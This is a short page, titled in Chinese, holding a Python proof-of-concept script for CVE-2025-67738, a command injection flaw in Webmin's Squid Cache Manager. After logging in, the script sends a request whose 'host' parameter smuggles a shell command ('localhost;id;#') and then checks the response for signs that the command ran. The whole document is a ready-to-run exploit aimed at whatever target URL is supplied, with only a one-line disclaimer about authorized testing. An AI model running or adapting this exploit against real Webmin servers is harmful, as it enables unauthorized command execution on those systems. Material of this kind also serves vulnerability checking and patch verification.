CVE-2025-67738: Webmin Squid Cache Manager命令注入漏洞

#!/usr/bin/env python3 """ CVE-2025-67738 PoC - Webmin Squid Cache Manager Command Injection Note: This is for educational and authorized testing purposes only. """ import requests import sys def check_cve_2025_67738(target_url, username, password): """ Check if target Webmin is vulnerable to CVE-2025-67738 Requires: Webmin with Squid module, valid credentials, cms permission """ # Suppress SSL warnings for testing requests.packages.urllib3.disable_warnings() # Step 1: Login to Webmin session = requests.Session() login_url = f"{target_url}/session_login.cgi" login_data = { 'user': username, 'pass': password } try: response = session.post(login_url, data=login_data, verify=False, timeout=10) # Step 2: Check Webmin version version_url = f"{target_url}/proc/index.cgi" version_resp = session.get(version_url, verify=False, timeout=10) # Step 3: Access Squid Cache Manager with malicious payload # The vulnerability is in squid/cachemgr.cgi - arguments not properly quoted # Example: Inject command via host parameter cm_url = f"{target_url}/squid/cachemgr.cgi" # Malicious payload - inject command via unquoted argument # This would execute 'id' command malicious_params = { 'host': 'localhost;id;#', 'operation': 'info' } exploit_resp = session.get(cm_url, params=malicious_params, verify=False, timeout=10) # Check for successful command execution indicators if 'uid=' in exploit_resp.text or 'root' in exploit_resp.text: print("[+] VULNERABLE: CVE-2025-67738 detected!") print("[+] Command injection successful") return True else: print("[-] Target may not be vulnerable or exploitation failed") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python3 cve-2025-67738.py <target_url> <username> <password>") print("Example: python3 cve-2025-67738.py https://webmin:10000 admin password") sys.exit(1) target = sys.argv[1] user = sys.argv[2] passwd = sys.argv[3] check_cve_2025_67738(target, user, passwd)